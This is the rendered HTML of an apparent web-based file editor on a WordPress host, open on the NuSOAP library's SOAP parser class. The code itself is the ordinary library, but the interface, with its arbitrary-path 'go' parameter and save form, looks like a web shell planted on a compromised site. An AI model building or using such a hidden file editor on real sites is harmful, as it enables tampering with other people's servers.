<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: class.soap_parser.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php

if (!defined('W3TC')) {
    die();
}

/**
*
* nusoap_parser class parses SOAP XML messages into native PHP values
*
* @author   Dietrich Ayala &lt;dietrich@ganx4.com&gt;
* @author   Scott Nichol &lt;snichol@users.sourceforge.net&gt;
* @version  $Id: class.soap_parser.php,v 1.42 2010/04/26 20:15:08 snichol Exp $
* @access   public
*/
class nusoap_parser extends nusoap_base {

	var $xml = '';
	var $xml_encoding = '';
	var $method = '';
	var $root_struct = '';
	var $root_struct_name = '';
	var $root_struct_namespace = '';
	var $root_header = '';
    var $document = '';			// incoming SOAP body (text)
	// determines where in the message we are (envelope,header,body,method)
	var $status = '';
	var $position = 0;
	var $depth = 0;
	var $default_namespace = '';
	var $namespaces = array();
	var $message = array();
    var $parent = '';
	var $fault = false;
	var $fault_code = '';
	var $fault_str = '';
	var $fault_detail = '';
	var $depth_array = array();
	var $debug_flag = true;
	var $soapresponse = NULL;	// parsed SOAP Body
	var $soapheader = NULL;		// parsed SOAP Header
	var $responseHeaders = '';	// incoming SOAP headers (text)
	var $body_position = 0;
	// for multiref parsing:
	// array of id =&gt; pos
	var $ids = array();
	// array of id =&gt; hrefs =&gt; pos
	var $multirefs = array();
	// toggle for auto-decoding element content
	var $decode_utf8 = true;

	/**
	* constructor that actually does the parsing
	*
	* @param    string $xml SOAP message
	* @param    string $encoding character encoding scheme of message
	* @param    string $method method for which XML is parsed (unused?)
	* @param    string $decode_utf8 whether to decode UTF-8 to ISO-8859-1
	* @access   public
	*/
	function __construct($xml,$encoding='UTF-8',$method='',$decode_utf8=true){
		parent::nusoap_base();
		$this-&gt;xml = $xml;
		$this-&gt;xml_encoding = $encoding;
		$this-&gt;method = $method;
		$this-&gt;decode_utf8 = $decode_utf8;

		// Check whether content has been read.
		if(!empty($xml)){
			// Check XML encoding
			$pos_xml = strpos($xml, '&lt;?xml');
			if ($pos_xml !== FALSE) {
				$xml_decl = substr($xml, $pos_xml, strpos($xml, '?&gt;', $pos_xml + 2) - $pos_xml + 1);
				if (preg_match(&quot;/encoding=[\&quot;']([^\&quot;']*)[\&quot;']/&quot;, $xml_decl, $res)) {
					$xml_encoding = $res[1];
					if (strtoupper($xml_encoding) != $encoding) {
						$err = &quot;Charset from HTTP Content-Type '&quot; . $encoding . &quot;' does not match encoding from XML declaration '&quot; . $xml_encoding . &quot;'&quot;;
						$this-&gt;debug($err);
						if ($encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') {
							$this-&gt;setError($err);
							return;
						}
						// when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed
					} else {
						$this-&gt;debug('Charset from HTTP Content-Type matches encoding from XML declaration');
					}
				} else {
					$this-&gt;debug('No encoding specified in XML declaration');
				}
			} else {
				$this-&gt;debug('No XML declaration');
			}
			$this-&gt;debug('Entering nusoap_parser(), length='.strlen($xml).', encoding='.$encoding);
			// Create an XML parser - why not xml_parser_create_ns?
			$this-&gt;parser = xml_parser_create($this-&gt;xml_encoding);
			// Set the options for parsing the XML data.
			//xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
			xml_parser_set_option($this-&gt;parser, XML_OPTION_CASE_FOLDING, 0);
			xml_parser_set_option($this-&gt;parser, XML_OPTION_TARGET_ENCODING, $this-&gt;xml_encoding);
			// Set the object for the parser.
			xml_set_object($this-&gt;parser, $this);
			// Set the element handlers for the parser.
			xml_set_element_handler($this-&gt;parser, 'start_element','end_element');
			xml_set_character_data_handler($this-&gt;parser,'character_data');

			// Parse the XML file.
			if(!xml_parse($this-&gt;parser,$xml,true)){
			    // Display an error message.
			    $err = sprintf('XML error parsing SOAP payload on line %d: %s',
			    xml_get_current_line_number($this-&gt;parser),
			    xml_error_string(xml_get_error_code($this-&gt;parser)));
				$this-&gt;debug($err);
				$this-&gt;debug(&quot;XML payload:\n&quot; . $xml);
				$this-&gt;setError($err);
			} else {
				$this-&gt;debug('in nusoap_parser ctor, message:');
				$this-&gt;appendDebug($this-&gt;varDump($this-&gt;message));
				$this-&gt;debug('parsed successfully, found root struct: '.$this-&gt;root_struct.' of name '.$this-&gt;root_struct_name);
				// get final value
				$this-&gt;soapresponse = $this-&gt;message[$this-&gt;root_struct]['result'];
				// get header value
				if($this-&gt;root_header != '' &amp;&amp; isset($this-&gt;message[$this-&gt;root_header]['result'])){
					$this-&gt;soapheader = $this-&gt;message[$this-&gt;root_header]['result'];
				}
				// resolve hrefs/ids
				if(sizeof($this-&gt;multirefs) &gt; 0){
					foreach($this-&gt;multirefs as $id =&gt; $hrefs){
						$this-&gt;debug('resolving multirefs for id: '.$id);
						$idVal = $this-&gt;buildVal($this-&gt;ids[$id]);
						if (is_array($idVal) &amp;&amp; isset($idVal['!id'])) {
							unset($idVal['!id']);
						}
						foreach($hrefs as $refPos =&gt; $ref){
							$this-&gt;debug('resolving href at pos '.$refPos);
							$this-&gt;multirefs[$id][$refPos] = $idVal;
						}
					}
				}
			}
			xml_parser_free($this-&gt;parser);
		} else {
			$this-&gt;debug('xml was empty, didn\'t parse!');
			$this-&gt;setError('xml was empty, didn\'t parse!');
		}
	}

	/**
	* start-element handler
	*
	* @param    resource $parser XML parser object
	* @param    string $name element name
	* @param    array $attrs associative array of attributes
	* @access   private
	*/
	function start_element($parser, $name, $attrs) {
		// position in a total number of elements, starting from 0
		// update class level pos
		$pos = $this-&gt;position++;
		// and set mine
		$this-&gt;message[$pos] = array('pos' =&gt; $pos,'children'=&gt;'','cdata'=&gt;'');
		// depth = how many levels removed from root?
		// set mine as current global depth and increment global depth value
		$this-&gt;message[$pos]['depth'] = $this-&gt;depth++;

		// else add self as child to whoever the current parent is
		if($pos != 0){
			$this-&gt;message[$this-&gt;parent]['children'] .= '|'.$pos;
		}
		// set my parent
		$this-&gt;message[$pos]['parent'] = $this-&gt;parent;
		// set self as current parent
		$this-&gt;parent = $pos;
		// set self as current value for this depth
		$this-&gt;depth_array[$this-&gt;depth] = $pos;
		// get element prefix
		if(strpos($name,':')){
			// get ns prefix
			$prefix = substr($name,0,strpos($name,':'));
			// get unqualified name
			$name = substr(strstr($name,':'),1);
		}
		// set status
		if ($name == 'Envelope' &amp;&amp; $this-&gt;status == '') {
			$this-&gt;status = 'envelope';
		} elseif ($name == 'Header' &amp;&amp; $this-&gt;status == 'envelope') {
			$this-&gt;root_header = $pos;
			$this-&gt;status = 'header';
		} elseif ($name == 'Body' &amp;&amp; $this-&gt;status == 'envelope'){
			$this-&gt;status = 'body';
			$this-&gt;body_position = $pos;
		// set method
		} elseif($this-&gt;status == 'body' &amp;&amp; $pos == ($this-&gt;body_position+1)) {
			$this-&gt;status = 'method';
			$this-&gt;root_struct_name = $name;
			$this-&gt;root_struct = $pos;
			$this-&gt;message[$pos]['type'] = 'struct';
			$this-&gt;debug(&quot;found root struct $this-&gt;root_struct_name, pos $this-&gt;root_struct&quot;);
		}
		// set my status
		$this-&gt;message[$pos]['status'] = $this-&gt;status;
		// set name
		$this-&gt;message[$pos]['name'] = htmlspecialchars($name);
		// set attrs
		$this-&gt;message[$pos]['attrs'] = $attrs;

		// loop through atts, logging ns and type declarations
        $attstr = '';
		foreach($attrs as $key =&gt; $value){
        	$key_prefix = $this-&gt;getPrefix($key);
			$key_localpart = $this-&gt;getLocalPart($key);
			// if ns declarations, add to class level array of valid namespaces
            if($key_prefix == 'xmlns'){
				if(preg_match('/^http:\/\/www.w3.org\/[0-9]{4}\/XMLSchema$/',$value)){
					$this-&gt;XMLSchemaVersion = $value;
					$this-&gt;namespaces['xsd'] = $this-&gt;XMLSchemaVersion;
					$this-&gt;namespaces['xsi'] = $this-&gt;XMLSchemaVersion.'-instance';
				}
                $this-&gt;namespaces[$key_localpart] = $value;
				// set method namespace
				if($name == $this-&gt;root_struct_name){
					$this-&gt;methodNamespace = $value;
				}
			// if it's a type declaration, set type
        } elseif($key_localpart == 'type'){
        		if (isset($this-&gt;message[$pos]['type']) &amp;&amp; $this-&gt;message[$pos]['type'] == 'array') {
        			// do nothing: already processed arrayType
        		} else {
	            	$value_prefix = $this-&gt;getPrefix($value);
	                $value_localpart = $this-&gt;getLocalPart($value);
					$this-&gt;message[$pos]['type'] = $value_localpart;
					$this-&gt;message[$pos]['typePrefix'] = $value_prefix;
	                if(isset($this-&gt;namespaces[$value_prefix])){
	                	$this-&gt;message[$pos]['type_namespace'] = $this-&gt;namespaces[$value_prefix];
	                } else if(isset($attrs['xmlns:'.$value_prefix])) {
						$this-&gt;message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix];
	                }
					// should do something here with the namespace of specified type?
				}
			} elseif($key_localpart == 'arrayType'){
				$this-&gt;message[$pos]['type'] = 'array';
				/* do arrayType ereg here
				[1]    arrayTypeValue    ::=    atype asize
				[2]    atype    ::=    QName rank*
				[3]    rank    ::=    '[' (',')* ']'
				[4]    asize    ::=    '[' length~ ']'
				[5]    length    ::=    nextDimension* Digit+
				[6]    nextDimension    ::=    Digit+ ','
				*/
				$expr = '/([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]/';
				if(preg_match($expr,$value,$regs)){
					$this-&gt;message[$pos]['typePrefix'] = $regs[1];
					$this-&gt;message[$pos]['arrayTypePrefix'] = $regs[1];
	                if (isset($this-&gt;namespaces[$regs[1]])) {
	                	$this-&gt;message[$pos]['arrayTypeNamespace'] = $this-&gt;namespaces[$regs[1]];
	                } else if (isset($attrs['xmlns:'.$regs[1]])) {
						$this-&gt;message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]];
	                }
					$this-&gt;message[$pos]['arrayType'] = $regs[2];
					$this-&gt;message[$pos]['arraySize'] = $regs[3];
					$this-&gt;message[$pos]['arrayCols'] = $regs[4];
				}
			// specifies nil value (or not)
			} elseif ($key_localpart == 'nil'){
				$this-&gt;message[$pos]['nil'] = ($value == 'true' || $value == '1');
			// some other attribute
			} elseif ($key != 'href' &amp;&amp; $key != 'xmlns' &amp;&amp; $key_localpart != 'encodingStyle' &amp;&amp; $key_localpart != 'root') {
				$this-&gt;message[$pos]['xattrs']['!' . $key] = $value;
			}

			if ($key == 'xmlns') {
				$this-&gt;default_namespace = $value;
			}
			// log id
			if($key == 'id'){
				$this-&gt;ids[$value] = $pos;
			}
			// root
			if($key_localpart == 'root' &amp;&amp; $value == 1){
				$this-&gt;status = 'method';
				$this-&gt;root_struct_name = $name;
				$this-&gt;root_struct = $pos;
				$this-&gt;debug(&quot;found root struct $this-&gt;root_struct_name, pos $pos&quot;);
			}
            // for doclit
            $attstr .= &quot; $key=\&quot;$value\&quot;&quot;;
		}
        // get namespace - must be done after namespace atts are processed
		if(isset($prefix)){
			$this-&gt;message[$pos]['namespace'] = $this-&gt;namespaces[$prefix];
			$this-&gt;default_namespace = $this-&gt;namespaces[$prefix];
		} else {
			$this-&gt;message[$pos]['namespace'] = $this-&gt;default_namespace;
		}
        if($this-&gt;status == 'header'){
        	if ($this-&gt;root_header != $pos) {
	        	$this-&gt;responseHeaders .= &quot;&lt;&quot; . (isset($prefix) ? $prefix . ':' : '') . &quot;$name$attstr&gt;&quot;;
	        }
        } elseif($this-&gt;root_struct_name != ''){
        	$this-&gt;document .= &quot;&lt;&quot; . (isset($prefix) ? $prefix . ':' : '') . &quot;$name$attstr&gt;&quot;;
        }
	}

	/**
	* end-element handler
	*
	* @param    resource $parser XML parser object
	* @param    string $name element name
	* @access   private
	*/
	function end_element($parser, $name) {
		// position of current element is equal to the last value left in depth_array for my depth
		$pos = $this-&gt;depth_array[$this-&gt;depth--];

        // get element prefix
		if(strpos($name,':')){
			// get ns prefix
			$prefix = substr($name,0,strpos($name,':'));
			// get unqualified name
			$name = substr(strstr($name,':'),1);
		}

		// build to native type
		if(isset($this-&gt;body_position) &amp;&amp; $pos &gt; $this-&gt;body_position){
			// deal w/ multirefs
			if(isset($this-&gt;message[$pos]['attrs']['href'])){
				// get id
				$id = substr($this-&gt;message[$pos]['attrs']['href'],1);
				// add placeholder to href array
				$this-&gt;multirefs[$id][$pos] = 'placeholder';
				// add set a reference to it as the result value
				$this-&gt;message[$pos]['result'] =&amp; $this-&gt;multirefs[$id][$pos];
            // build complexType values
			} elseif($this-&gt;message[$pos]['children'] != ''){
				// if result has already been generated (struct/array)
				if(!isset($this-&gt;message[$pos]['result'])){
					$this-&gt;message[$pos]['result'] = $this-&gt;buildVal($pos);
				}
			// build complexType values of attributes and possibly simpleContent
			} elseif (isset($this-&gt;message[$pos]['xattrs'])) {
				if (isset($this-&gt;message[$pos]['nil']) &amp;&amp; $this-&gt;message[$pos]['nil']) {
					$this-&gt;message[$pos]['xattrs']['!'] = null;
				} elseif (isset($this-&gt;message[$pos]['cdata']) &amp;&amp; trim($this-&gt;message[$pos]['cdata']) != '') {
	            	if (isset($this-&gt;message[$pos]['type'])) {
						$this-&gt;message[$pos]['xattrs']['!'] = $this-&gt;decodeSimple($this-&gt;message[$pos]['cdata'], $this-&gt;message[$pos]['type'], isset($this-&gt;message[$pos]['type_namespace']) ? $this-&gt;message[$pos]['type_namespace'] : '');
					} else {
						$parent = $this-&gt;message[$pos]['parent'];
						if (isset($this-&gt;message[$parent]['type']) &amp;&amp; ($this-&gt;message[$parent]['type'] == 'array') &amp;&amp; isset($this-&gt;message[$parent]['arrayType'])) {
							$this-&gt;message[$pos]['xattrs']['!'] = $this-&gt;decodeSimple($this-&gt;message[$pos]['cdata'], $this-&gt;message[$parent]['arrayType'], isset($this-&gt;message[$parent]['arrayTypeNamespace']) ? $this-&gt;message[$parent]['arrayTypeNamespace'] : '');
						} else {
							$this-&gt;message[$pos]['xattrs']['!'] = $this-&gt;message[$pos]['cdata'];
						}
					}
				}
				$this-&gt;message[$pos]['result'] = $this-&gt;message[$pos]['xattrs'];
			// set value of simpleType (or nil complexType)
			} else {
            	//$this-&gt;debug('adding data for scalar value '.$this-&gt;message[$pos]['name'].' of value '.$this-&gt;message[$pos]['cdata']);
				if (isset($this-&gt;message[$pos]['nil']) &amp;&amp; $this-&gt;message[$pos]['nil']) {
					$this-&gt;message[$pos]['xattrs']['!'] = null;
				} elseif (isset($this-&gt;message[$pos]['type'])) {
					$this-&gt;message[$pos]['result'] = $this-&gt;decodeSimple($this-&gt;message[$pos]['cdata'], $this-&gt;message[$pos]['type'], isset($this-&gt;message[$pos]['type_namespace']) ? $this-&gt;message[$pos]['type_namespace'] : '');
				} else {
					$parent = $this-&gt;message[$pos]['parent'];
					if (isset($this-&gt;message[$parent]['type']) &amp;&amp; ($this-&gt;message[$parent]['type'] == 'array') &amp;&amp; isset($this-&gt;message[$parent]['arrayType'])) {
						$this-&gt;message[$pos]['result'] = $this-&gt;decodeSimple($this-&gt;message[$pos]['cdata'], $this-&gt;message[$parent]['arrayType'], isset($this-&gt;message[$parent]['arrayTypeNamespace']) ? $this-&gt;message[$parent]['arrayTypeNamespace'] : '');
					} else {
						$this-&gt;message[$pos]['result'] = $this-&gt;message[$pos]['cdata'];
					}
				}

				/* add value to parent's result, if parent is struct/array
				$parent = $this-&gt;message[$pos]['parent'];
				if($this-&gt;message[$parent]['type'] != 'map'){
					if(strtolower($this-&gt;message[$parent]['type']) == 'array'){
						$this-&gt;message[$parent]['result'][] = $this-&gt;message[$pos]['result'];
					} else {
						$this-&gt;message[$parent]['result'][$this-&gt;message[$pos]['name']] = $this-&gt;message[$pos]['result'];
					}
				}
				*/
			}
		}

        // for doclit
        if($this-&gt;status == 'header'){
        	if ($this-&gt;root_header != $pos) {
	        	$this-&gt;responseHeaders .= &quot;&lt;/&quot; . (isset($prefix) ? $prefix . ':' : '') . &quot;$name&gt;&quot;;
	        }
        } elseif($pos &gt;= $this-&gt;root_struct){
        	$this-&gt;document .= &quot;&lt;/&quot; . (isset($prefix) ? $prefix . ':' : '') . &quot;$name&gt;&quot;;
        }
		// switch status
		if ($pos == $this-&gt;root_struct){
			$this-&gt;status = 'body';
			$this-&gt;root_struct_namespace = $this-&gt;message[$pos]['namespace'];
		} elseif ($pos == $this-&gt;root_header) {
			$this-&gt;status = 'envelope';
		} elseif ($name == 'Body' &amp;&amp; $this-&gt;status == 'body') {
			$this-&gt;status = 'envelope';
		} elseif ($name == 'Header' &amp;&amp; $this-&gt;status == 'header') { // will never happen
			$this-&gt;status = 'envelope';
		} elseif ($name == 'Envelope' &amp;&amp; $this-&gt;status == 'envelope') {
			$this-&gt;status = '';
		}
		// set parent back to my parent
		$this-&gt;parent = $this-&gt;message[$pos]['parent'];
	}

	/**
	* element content handler
	*
	* @param    resource $parser XML parser object
	* @param    string $data element content
	* @access   private
	*/
	function character_data($parser, $data){
		$pos = $this-&gt;depth_array[$this-&gt;depth];
		if ($this-&gt;xml_encoding=='UTF-8'){
			// TODO: add an option to disable this for folks who want
			// raw UTF-8 that, e.g., might not map to iso-8859-1
			// TODO: this can also be handled with xml_parser_set_option($this-&gt;parser, XML_OPTION_TARGET_ENCODING, &quot;ISO-8859-1&quot;);
			if($this-&gt;decode_utf8){
				$data = utf8_decode($data);
			}
		}
        $this-&gt;message[$pos]['cdata'] .= $data;
        // for doclit
        if($this-&gt;status == 'header'){
        	$this-&gt;responseHeaders .= $data;
        } else {
        	$this-&gt;document .= $data;
        }
	}

	/**
	* get the parsed message (SOAP Body)
	*
	* @return	mixed
	* @access   public
	* @deprecated	use get_soapbody instead
	*/
	function get_response(){
		return $this-&gt;soapresponse;
	}

	/**
	* get the parsed SOAP Body (NULL if there was none)
	*
	* @return	mixed
	* @access   public
	*/
	function get_soapbody(){
		return $this-&gt;soapresponse;
	}

	/**
	* get the parsed SOAP Header (NULL if there was none)
	*
	* @return	mixed
	* @access   public
	*/
	function get_soapheader(){
		return $this-&gt;soapheader;
	}

	/**
	* get the unparsed SOAP Header
	*
	* @return	string XML or empty if no Header
	* @access   public
	*/
	function getHeaders(){
	    return $this-&gt;responseHeaders;
	}

	/**
	* decodes simple types into PHP variables
	*
	* @param    string $value value to decode
	* @param    string $type XML type to decode
	* @param    string $typens XML type namespace to decode
	* @return	mixed PHP value
	* @access   private
	*/
	function decodeSimple($value, $type, $typens) {
		// TODO: use the namespace!
		if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') {
			return (string) $value;
		}
		if ($type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') {
			return (int) $value;
		}
		if ($type == 'float' || $type == 'double' || $type == 'decimal') {
			return (double) $value;
		}
		if ($type == 'boolean') {
			if (strtolower($value) == 'false' || strtolower($value) == 'f') {
				return false;
			}
			return (boolean) $value;
		}
		if ($type == 'base64' || $type == 'base64Binary') {
			$this-&gt;debug('Decode base64 value');
			return base64_decode($value);
		}
		// obscure numeric types
		if ($type == 'nonPositiveInteger' || $type == 'negativeInteger'
			|| $type == 'nonNegativeInteger' || $type == 'positiveInteger'
			|| $type == 'unsignedInt'
			|| $type == 'unsignedShort' || $type == 'unsignedByte') {
			return (int) $value;
		}
		// bogus: parser treats array with no elements as a simple type
		if ($type == 'array') {
			return array();
		}
		// everything else
		return (string) $value;
	}

	/**
	* builds response structures for compound values (arrays/structs)
	* and scalars
	*
	* @param    integer $pos position in node tree
	* @return	mixed	PHP value
	* @access   private
	*/
	function buildVal($pos){
		if(!isset($this-&gt;message[$pos]['type'])){
			$this-&gt;message[$pos]['type'] = '';
		}
		$this-&gt;debug('in buildVal() for '.$this-&gt;message[$pos]['name'].&quot;(pos $pos) of type &quot;.$this-&gt;message[$pos]['type']);
		// if there are children...
		if($this-&gt;message[$pos]['children'] != ''){
			$this-&gt;debug('in buildVal, there are children');
			$children = explode('|',$this-&gt;message[$pos]['children']);
			array_shift($children); // knock off empty
			// md array
			if(isset($this-&gt;message[$pos]['arrayCols']) &amp;&amp; $this-&gt;message[$pos]['arrayCols'] != ''){
            	$r=0; // rowcount
            	$c=0; // colcount
            	foreach($children as $child_pos){
					$this-&gt;debug(&quot;in buildVal, got an MD array element: $r, $c&quot;);
					$params[$r][] = $this-&gt;message[$child_pos]['result'];
				    $c++;
				    if($c == $this-&gt;message[$pos]['arrayCols']){
				    	$c = 0;
						$r++;
				    }
                }
            // array
			} elseif($this-&gt;message[$pos]['type'] == 'array' || $this-&gt;message[$pos]['type'] == 'Array'){
                $this-&gt;debug('in buildVal, adding array '.$this-&gt;message[$pos]['name']);
                foreach($children as $child_pos){
                	$params[] = &amp;$this-&gt;message[$child_pos]['result'];
                }
            // apache Map type: java hashtable
            } elseif($this-&gt;message[$pos]['type'] == 'Map' &amp;&amp; $this-&gt;message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){
                $this-&gt;debug('in buildVal, Java Map '.$this-&gt;message[$pos]['name']);
                foreach($children as $child_pos){
                	$kv = explode(&quot;|&quot;,$this-&gt;message[$child_pos]['children']);
                   	$params[$this-&gt;message[$kv[1]]['result']] = &amp;$this-&gt;message[$kv[2]]['result'];
                }
            // generic compound type
            //} elseif($this-&gt;message[$pos]['type'] == 'SOAPStruct' || $this-&gt;message[$pos]['type'] == 'struct') {
		    } else {
	    		// Apache Vector type: treat as an array
                $this-&gt;debug('in buildVal, adding Java Vector or generic compound type '.$this-&gt;message[$pos]['name']);
				if ($this-&gt;message[$pos]['type'] == 'Vector' &amp;&amp; $this-&gt;message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') {
					$notstruct = 1;
				} else {
					$notstruct = 0;
	            }
            	//
            	foreach($children as $child_pos){
            		if($notstruct){
            			$params[] = &amp;$this-&gt;message[$child_pos]['result'];
            		} else {
            			if (isset($params[$this-&gt;message[$child_pos]['name']])) {
            				// de-serialize repeated element name into an array
            				if ((!is_array($params[$this-&gt;message[$child_pos]['name']])) || (!isset($params[$this-&gt;message[$child_pos]['name']][0]))) {
            					$params[$this-&gt;message[$child_pos]['name']] = array($params[$this-&gt;message[$child_pos]['name']]);
            				}
            				$params[$this-&gt;message[$child_pos]['name']][] = &amp;$this-&gt;message[$child_pos]['result'];
            			} else {
					    	$params[$this-&gt;message[$child_pos]['name']] = &amp;$this-&gt;message[$child_pos]['result'];
					    }
                	}
                }
			}
			if (isset($this-&gt;message[$pos]['xattrs'])) {
                $this-&gt;debug('in buildVal, handling attributes');
				foreach ($this-&gt;message[$pos]['xattrs'] as $n =&gt; $v) {
					$params[$n] = $v;
				}
			}
			// handle simpleContent
			if (isset($this-&gt;message[$pos]['cdata']) &amp;&amp; trim($this-&gt;message[$pos]['cdata']) != '') {
                $this-&gt;debug('in buildVal, handling simpleContent');
            	if (isset($this-&gt;message[$pos]['type'])) {
					$params['!'] = $this-&gt;decodeSimple($this-&gt;message[$pos]['cdata'], $this-&gt;message[$pos]['type'], isset($this-&gt;message[$pos]['type_namespace']) ? $this-&gt;message[$pos]['type_namespace'] : '');
				} else {
					$parent = $this-&gt;message[$pos]['parent'];
					if (isset($this-&gt;message[$parent]['type']) &amp;&amp; ($this-&gt;message[$parent]['type'] == 'array') &amp;&amp; isset($this-&gt;message[$parent]['arrayType'])) {
						$params['!'] = $this-&gt;decodeSimple($this-&gt;message[$pos]['cdata'], $this-&gt;message[$parent]['arrayType'], isset($this-&gt;message[$parent]['arrayTypeNamespace']) ? $this-&gt;message[$parent]['arrayTypeNamespace'] : '');
					} else {
						$params['!'] = $this-&gt;message[$pos]['cdata'];
					}
				}
			}
			$ret = is_array($params) ? $params : array();
			$this-&gt;debug('in buildVal, return:');
			$this-&gt;appendDebug($this-&gt;varDump($ret));
			return $ret;
		} else {
        	$this-&gt;debug('in buildVal, no children, building scalar');
			$cdata = isset($this-&gt;message[$pos]['cdata']) ? $this-&gt;message[$pos]['cdata'] : '';
        	if (isset($this-&gt;message[$pos]['type'])) {
				$ret = $this-&gt;decodeSimple($cdata, $this-&gt;message[$pos]['type'], isset($this-&gt;message[$pos]['type_namespace']) ? $this-&gt;message[$pos]['type_namespace'] : '');
				$this-&gt;debug(&quot;in buildVal, return: $ret&quot;);
				return $ret;
			}
			$parent = $this-&gt;message[$pos]['parent'];
			if (isset($this-&gt;message[$parent]['type']) &amp;&amp; ($this-&gt;message[$parent]['type'] == 'array') &amp;&amp; isset($this-&gt;message[$parent]['arrayType'])) {
				$ret = $this-&gt;decodeSimple($cdata, $this-&gt;message[$parent]['arrayType'], isset($this-&gt;message[$parent]['arrayTypeNamespace']) ? $this-&gt;message[$parent]['arrayTypeNamespace'] : '');
				$this-&gt;debug(&quot;in buildVal, return: $ret&quot;);
				return $ret;
			}
           	$ret = $this-&gt;message[$pos]['cdata'];
			$this-&gt;debug(&quot;in buildVal, return: $ret&quot;);
           	return $ret;
		}
	}
}

/**
 * Backward compatibility
 */
class soap_parser extends nusoap_parser {
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FNusoap'>🔙 Back</a>